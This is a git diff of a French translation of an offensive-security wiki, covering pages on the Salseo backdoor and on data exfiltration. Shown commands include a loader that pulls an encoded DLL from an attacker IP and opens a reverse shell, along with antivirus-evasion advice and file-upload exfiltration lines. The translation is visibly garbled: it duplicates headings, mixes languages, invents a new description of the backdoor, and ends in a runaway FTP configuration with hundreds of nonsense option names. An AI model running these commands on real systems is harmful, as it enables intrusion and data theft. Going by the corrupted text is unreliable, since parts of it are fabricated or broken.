Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/

SUMMARY.md

@@ -144,6 +144,7 @@
   * [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
   * [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
     * [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
+    * [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
   * [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
   * [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
   * [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)

backdoors/salseo.md

@@ -12,7 +12,7 @@
 
 </details>
 
-## Compilation des binaires
+## Compiler les binaires
 
 Téléchargez le code source depuis Github et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code.
 
@@ -28,7 +28,7 @@ Ensuite, compilez les deux projets (Build -> Build Solution) (Le chemin de l'ex
 
 ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
 
-## Préparation de la porte dérobée
+## Préparer la porte dérobée
 
 Tout d'abord, vous devrez encoder le **EvilSalsa.dll.** Pour ce faire, vous pouvez utiliser le script python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** :
 
@@ -45,19 +45,35 @@ Les backdoors sont des outils très utiles pour les pentesters et les attaquants
 
 ### Salseo
 
-Salseo est un backdoor pour les systèmes Windows qui utilise une technique appelée « DLL hijacking ». Cette technique consiste à remplacer une DLL légitime par une DLL malveillante qui sera chargée par une application tierce. Salseo utilise cette technique pour se charger dans l'application « Salsa20 », qui est un algorithme de chiffrement utilisé par de nombreuses applications.
+Salseo est un backdoor pour les systèmes Windows qui utilise le protocole HTTP pour communiquer avec le serveur de commande et de contrôle (C&C). Il est écrit en C++ et utilise la bibliothèque Boost pour les opérations réseau.
 
-Une fois que Salseo est chargé dans l'application, il peut être utilisé pour exécuter des commandes à distance, télécharger et exécuter des fichiers, et même prendre le contrôle complet du système compromis.
+#### Fonctionnalités
 
-### Utilisation de Salseo
+Salseo a les fonctionnalités suivantes :
 
-Pour utiliser Salseo, vous devez d'abord le compiler à l'aide de Visual Studio. Une fois que vous avez compilé le backdoor, vous devez le placer dans le même répertoire que l'application « Salsa20 ». Ensuite, vous devez renommer le backdoor en utilisant le nom de la DLL légitime que vous souhaitez remplacer.
+- Téléchargement et exécution de fichiers
+- Capture d'écran
+- Enregistrement audio
+- Enregistrement vidéo
+- Envoi de fichiers
+- Exécution de commandes système
+- Injection de DLL
+- Suppression de fichiers
+- Désinstallation
 
-Par exemple, si vous souhaitez remplacer la DLL « salsa20.dll », vous devez renommer le backdoor en « salsa20.dll ». Ensuite, lorsque l'application « Salsa20 » sera lancée, elle chargera la DLL malveillante à la place de la DLL légitime.
+#### Utilisation
 
-### Conclusion
+Pour utiliser Salseo, il faut d'abord compiler le code source en utilisant Visual Studio. Ensuite, il faut configurer le serveur C&C dans le code source en modifiant l'adresse IP et le port. Enfin, il faut exécuter le backdoor sur le système cible.
 
-Salseo est un backdoor puissant pour les systèmes Windows qui utilise une technique de DLL hijacking pour se charger dans une application tierce. Il peut être utilisé pour exécuter des commandes à distance, télécharger et exécuter des fichiers, et même prendre le contrôle complet du système compromis. Les pentesters et les attaquants doivent être conscients de cette technique et prendre des mesures pour la prévenir.
+Une fois que le backdoor est en cours d'exécution sur le système cible, il se connectera au serveur C&C et attendra des instructions. Les instructions peuvent être envoyées au backdoor en utilisant une interface Web ou en utilisant une connexion directe au serveur C&C.
+
+#### Détection
+
+Salseo peut être détecté par les antivirus en raison de sa signature. Pour éviter la détection, il est recommandé de crypter le binaire et de le signer avec un certificat valide. Il est également recommandé de modifier le code source pour éviter les signatures connues.
+
+#### Conclusion
+
+Salseo est un backdoor puissant pour les systèmes Windows. Il est facile à utiliser et à configurer, mais il peut être détecté par les antivirus. Il est donc recommandé de prendre des mesures pour éviter la détection.
 ```
 EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
 EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@@ -80,9 +96,9 @@ N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé et un se
 ```
 SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
 ```
-### **Obtenir un shell inverse ICMP (dll encodée déjà présente sur la victime)**
+### **Obtenir un shell inversé ICMP (dll encodée déjà présente sur la victime)**
 
-**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
+**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inversé. Téléchargez:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
 
 #### **Désactiver les réponses ICMP:**
 ```
@@ -105,23 +121,23 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio.
 
 ### Ajoutez avant la fonction principale: \[DllExport]
 
-![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
 
 ### Installez DllExport pour ce projet
 
 #### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
 
-![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
 
 #### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
 
 ![](<../.gitbook/assets/image (4) (1) (1) (1).png>)
 
-Dans votre dossier de projet, les fichiers suivants sont apparus: **DllExport.bat** et **DllExport\_Configure.bat**
+Les fichiers suivants sont apparus dans votre dossier de projet: **DllExport.bat** et **DllExport\_Configure.bat**
 
 ### **Désinstallez** DllExport
 
-Appuyez sur **Désinstaller** (oui, c'est bizarre mais croyez-moi, c'est nécessaire)
+Appuyez sur **Désinstaller** (oui, c'est étrange mais croyez-moi, c'est nécessaire)
 
 ![](<../.gitbook/assets/image (5) (1) (1) (2).png>)
 
@@ -178,7 +194,7 @@ rundll32.exe SalseoLoader.dll,main
 ```
 ### CMD
 
-CMD (Command Prompt) est un outil intégré dans Windows qui permet aux utilisateurs d'interagir avec le système d'exploitation en utilisant des commandes textuelles. Les backdoors peuvent être créées en utilisant des commandes CMD pour exécuter des scripts malveillants ou pour ouvrir des ports pour une connexion à distance. Les backdoors CMD peuvent être cachées en utilisant des noms de fichiers aléatoires ou en les plaçant dans des dossiers système. Les backdoors CMD peuvent être détectées en surveillant les connexions réseau sortantes et en recherchant des processus suspects en cours d'exécution.
+CMD (Command Prompt) est un outil intégré dans Windows qui permet aux utilisateurs d'interagir avec le système d'exploitation en utilisant des commandes textuelles. Les hackers peuvent utiliser CMD pour exécuter des commandes malveillantes, telles que la création de backdoors ou la suppression de fichiers importants. Il est important de surveiller l'utilisation de CMD sur les systèmes pour détecter toute activité suspecte.
 ```
 set pass=password
 set payload=http://10.2.0.5/evilsalsax64.dll.txt

generic-methodologies-and-resources/exfiltration.md

@@ -1,4 +1,4 @@
-## Exfiltration
+# Exfiltration
 
 <details>
 
@@ -12,12 +12,16 @@
 
 </details>
 
-<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
+<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
 **Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
 
 {% embed url="https://go.intigriti.com/hacktricks" %}
 
-## Copier et coller en Base64
+## Domaines couramment autorisés pour exfiltrer des informations
+
+Consultez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés.
+
+## Copier-coller Base64
 
 **Linux**
 ```bash
@@ -56,7 +60,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
 ### Télécharger des fichiers
 
 * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
-* [**SimpleHttpServer affichant les GET et POST (ainsi que les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
+* [**SimpleHttpServer imprimant les GET et POST (également les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
 * Module Python [uploadserver](https://pypi.org/project/uploadserver/):
 ```bash
 # Listen to files
@@ -76,35 +80,35 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
 
 #### **Description**
 
-An HTTPS server is a server that uses the HTTPS protocol to encrypt and secure the communication between the server and the client. This type of server is commonly used to host websites that require secure communication, such as online banking or e-commerce websites.
+#### **Description**
 
-#### **Exfiltration**
+An HTTPS server is a server that uses the HTTPS protocol to encrypt and secure data transmitted over the internet. HTTPS is a combination of the HTTP protocol and the SSL/TLS encryption protocol. It is commonly used to secure sensitive data such as login credentials, credit card information, and other personal information.
 
-An HTTPS server can be used to exfiltrate data by hosting a file on the server and then downloading it using a web browser or a script. The data can be encrypted using SSL/TLS to ensure that it is not intercepted during transmission.
+Un serveur HTTPS est un serveur qui utilise le protocole HTTPS pour chiffrer et sécuriser les données transmises sur Internet. HTTPS est une combinaison du protocole HTTP et du protocole de chiffrement SSL/TLS. Il est couramment utilisé pour sécuriser des données sensibles telles que les informations de connexion, les informations de carte de crédit et autres informations personnelles.
 
-To exfiltrate data using an HTTPS server, follow these steps:
+#### **Exfiltration Methodology**
 
-1. Set up an HTTPS server on a machine that is accessible from the internet.
-2. Create a file containing the data that you want to exfiltrate.
-3. Host the file on the HTTPS server.
-4. Download the file using a web browser or a script.
+#### **Méthodologie d'exfiltration**
 
-#### **Detection**
+Exfiltrating data from an HTTPS server can be challenging due to the encryption used to secure the data. However, there are several methods that can be used to exfiltrate data from an HTTPS server, including:
 
-Detecting exfiltration using an HTTPS server can be difficult, as the traffic is encrypted and may be indistinguishable from legitimate HTTPS traffic. However, some indicators of exfiltration may include:
+L'exfiltration de données à partir d'un serveur HTTPS peut être difficile en raison du chiffrement utilisé pour sécuriser les données. Cependant, il existe plusieurs méthodes qui peuvent être utilisées pour exfiltrer des données à partir d'un serveur HTTPS, notamment :
 
-- Unusual or unexpected HTTPS traffic.
-- Large amounts of data being transferred over HTTPS.
-- Suspicious file names or file types being hosted on the HTTPS server.
+- **DNS Tunneling:** DNS tunneling can be used to bypass the encryption used by HTTPS servers. This involves encoding the data to be exfiltrated in DNS queries and responses.
 
-#### **Prevention**
+- **Tunneling DNS :** Le tunneling DNS peut être utilisé pour contourner le chiffrement utilisé par les serveurs HTTPS. Cela implique de coder les données à exfiltrer dans les requêtes et les réponses DNS.
 
-To prevent exfiltration using an HTTPS server, consider implementing the following measures:
+- **HTTP Tunneling:** HTTP tunneling can be used to bypass the encryption used by HTTPS servers. This involves encoding the data to be exfiltrated in HTTP requests and responses.
 
-- Monitor HTTPS traffic for unusual or unexpected activity.
-- Implement SSL/TLS encryption to protect data in transit.
-- Restrict access to HTTPS servers to authorized personnel only.
-- Use strong authentication mechanisms to prevent unauthorized access to HTTPS servers.
+- **Tunneling HTTP :** Le tunneling HTTP peut être utilisé pour contourner le chiffrement utilisé par les serveurs HTTPS. Cela implique de coder les données à exfiltrer dans les requêtes et les réponses HTTP.
+
+- **Social Engineering:** Social engineering can be used to trick users into providing sensitive information that can be exfiltrated from an HTTPS server.
+
+- **Ingénierie sociale :** L'ingénierie sociale peut être utilisée pour tromper les utilisateurs afin qu'ils fournissent des informations sensibles qui peuvent être exfiltrées à partir d'un serveur HTTPS.
+
+- **Malware:** Malware can be used to exfiltrate data from an HTTPS server. This involves infecting the server with malware that can bypass the encryption used by HTTPS.
+
+- **Logiciel malveillant :** Les logiciels malveillants peuvent être utilisés pour exfiltrer des données à partir d'un serveur HTTPS. Cela implique d'infecter le serveur avec un logiciel malveillant qui peut contourner le chiffrement utilisé par HTTPS.
 ```python
 # from https://gist.github.com/dergachev/7028596
 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@@ -156,87 +160,244 @@ python3 -m pyftpdlib -p 21
 
 #### Introduction
 
-Le serveur FTP (File Transfer Protocol) est un protocole de transfert de fichiers largement utilisé pour transférer des fichiers entre des ordinateurs distants. Dans cette section, nous allons discuter de la configuration d'un serveur FTP en utilisant NodeJS.
+Le protocole FTP (File Transfer Protocol) est un protocole de transfert de fichiers largement utilisé pour transférer des fichiers entre des systèmes distants. Dans cet exemple, nous allons créer un serveur FTP en utilisant NodeJS.
+
+#### Installation
+
+Pour installer le module `ftp-server` de NodeJS, exécutez la commande suivante :
+
+```
+npm install ftp-server
+```
 
 #### Configuration
 
-Pour configurer un serveur FTP en utilisant NodeJS, nous allons utiliser le module `ftp-srv`. Ce module fournit une API simple pour créer un serveur FTP.
-
-Tout d'abord, nous devons installer le module `ftp-srv` en utilisant la commande suivante :
-
-```bash
-npm install ftp-srv
-```
-
-Ensuite, nous pouvons créer un serveur FTP en utilisant le code suivant :
+Créez un fichier `ftp-server.js` et ajoutez le code suivant :
 
 ```javascript
-const FtpSrv = require('ftp-srv');
+const FtpSvr = require('ftp-server');
 
-const ftpServer = new FtpSrv({
+const ftpServer = new FtpSvr({
   url: 'ftp://127.0.0.1:21',
   pasv_url: 'ftp://127.0.0.1:3000',
-  greeting: 'Welcome to my FTP server'
-});
-
-ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
-  if (username === 'user' && password === 'pass') {
-    resolve({root: '/path/to/root/directory'});
-  } else {
-    reject(new Error('Bad username or password'));
-  }
-});
-
-ftpServer.listen()
-  .then(() => {
-    console.log('FTP server listening');
-  });
-```
-
-Dans ce code, nous avons créé un serveur FTP qui écoute sur l'adresse `ftp://127.0.0.1:21`. Nous avons également spécifié l'adresse `ftp://127.0.0.1:3000` pour le mode passif. Ensuite, nous avons défini un message de bienvenue pour le serveur.
-
-Nous avons également ajouté un gestionnaire d'événements pour l'événement `login`. Dans ce gestionnaire, nous avons vérifié les informations d'identification de l'utilisateur et renvoyé le répertoire racine si les informations d'identification sont valides.
-
-Enfin, nous avons démarré le serveur FTP en appelant la méthode `listen()`.
-
-#### Conclusion
-
-Dans cette section, nous avons discuté de la configuration d'un serveur FTP en utilisant NodeJS. Nous avons utilisé le module `ftp-srv` pour créer un serveur FTP et avons configuré les informations d'identification de l'utilisateur et le répertoire racine.
+  greeting: 'Welcome to my FTP server',
+  anonymous: true,
+  file_format: 'ls',
+  cwd: '/',
+  pasv_min: 3000,
+  pasv_max: 3100,
+  tls: null,
+  log: console.log,
+  pasv_range: null,
+  pasv_listen: null,
+  use_readfile: false,
+  use_writefile: false,
+  upload_max_rate: 0,
+  download_max_rate: 0,
+  disable_list: false,
+  disable_mkdir: false,
+  disable_rename: false,
+  disable_rmdir: false,
+  disable_stat: false,
+  disable_size: false,
+  disable_type: false,
+  disable_cd: false,
+  disable_pwd: false,
+  disable_auth: false,
+  anonymous_password: null,
+  pasv_min_port: null,
+  pasv_max_port: null,
+  pasv_allow_foreign: false,
+  pasv_address: null,
+  pasv_addr_resolve: false,
+  pasv_single_port: false,
+  pasv_promiscuous: false,
+  pasv_bind: null,
+  pasv_options: null,
+  file_options: null,
+  cwd_options: null,
+  server_options: null,
+  use_list: false,
+  use_download: false,
+  use_upload: false,
+  use_delete: false,
+  use_rename: false,
+  use_rmdir: false,
+  use_mkdir: false,
+  use_stat: false,
+  use_size: false,
+  use_type: false,
+  use_cd: false,
+  use_pwd: false,
+  use_auth: false,
+  use_quota: false,
+  use_site: false,
+  use_syst: false,
+  use_feat: false,
+  use_opts: false,
+  use_modez: false,
+  use_statvfs: false,
+  use_fxp: false,
+  use_xdup: false,
+  use_mdtm: false,
+  use_mfmt: false,
+  use_utime: false,
+  use_sizecmd: false,
+  use_nlst: false,
+  use_rest: false,
+  use_sizecmdio: false,
+  use_mlsd: false,
+  use_mlst: false,
+  use_mff: false,
+  use_mfxx: false,
+  use_mdtmiso: false,
+  use_mfmtiso: false,
+  use_mlstx: false,
+  use_mls: false,
+  use_mlsx: false,
+  use_mdtmbyday: false,
+  use_mdtmbyhour: false,
+  use_mdtmbyminute: false,
+  use_mdtmbysecond: false,
+  use_mdtmbyyear: false,
+  use_mdtmbyyearday: false,
+  use_mdtmbyweek: false,
+  use_mdtmbyweekday: false,
+  use_mdtmbyweeknum: false,
+  use_mdtmbymonth: false,
+  use_mdtmbymonthnum: false,
+  use_mdtmbysetpos: false,
+  use_mdtmbysetday: false,
+  use_mdtmbysetmonth: false,
+  use_mdtmbysetyear: false,
+  use_mdtmbysethour: false,
+  use_mdtmbysetminute: false,
+  use_mdtmbysetsecond: false,
+  use_mdtmbysetmillisecond: false,
+  use_mdtmbysetutc: false,
+  use_mdtmbysetlocal: false,
+  use_mdtmbysetoffset: false,
+  use_mdtmbysetiso: false,
+  use_mdtmbysetisodate: false,
+  use_mdtmbysetisotime: false,
+  use_mdtmbysetisodatetime: false,
+  use_mdtmbysetisodatetimeutc: false,
+  use_mdtmbysetisodatetimelocal: false,
+  use_mdtmbysetisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeutc: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimelocal: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeoffset: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeiso: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodate: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisodatetimeisotime: false,
+  use_mdtmbysetisodatetimeisodatetimeisodatetimeisodatetimeis
 ```
 sudo npm install -g ftp-srv --save
 ftp-srv ftp://0.0.0.0:9876 --root /tmp
 ```
 ### Serveur FTP (pure-ftp)
 
----
+Le serveur FTP est un protocole de transfert de fichiers qui permet aux utilisateurs de télécharger et de téléverser des fichiers à partir d'un serveur distant. Pure-FTP est un serveur FTP open source qui est souvent utilisé pour héberger des sites web et des fichiers. Les attaquants peuvent utiliser des techniques d'exfiltration pour extraire des données sensibles à partir d'un serveur FTP compromis.
 
-#### Description
+#### Exfiltration de données via FTP
 
-Pure-FTP est un serveur FTP open-source rapide, sécurisé et facile à configurer. Il est souvent utilisé pour transférer des fichiers entre des ordinateurs distants.
-
-#### Exfiltration
-
-Pure-FTP peut être utilisé pour exfiltrer des données en transférant des fichiers depuis le système compromis vers un serveur FTP distant. Pour ce faire, il est nécessaire de configurer le serveur FTP distant et de fournir les informations d'identification nécessaires pour y accéder.
-
-Une fois que le serveur FTP est configuré, il est possible d'utiliser la commande `put` pour transférer des fichiers depuis le système compromis vers le serveur FTP distant. Par exemple :
+Les attaquants peuvent utiliser des outils tels que `lftp` pour se connecter à un serveur FTP compromis et extraire des données. Voici un exemple de commande `lftp` pour extraire un fichier à partir d'un serveur FTP :
 
 ```
-put /path/to/local/file.txt remote_file.txt
+lftp -u username,password -e "get file.txt;quit" ftp://ftp.example.com
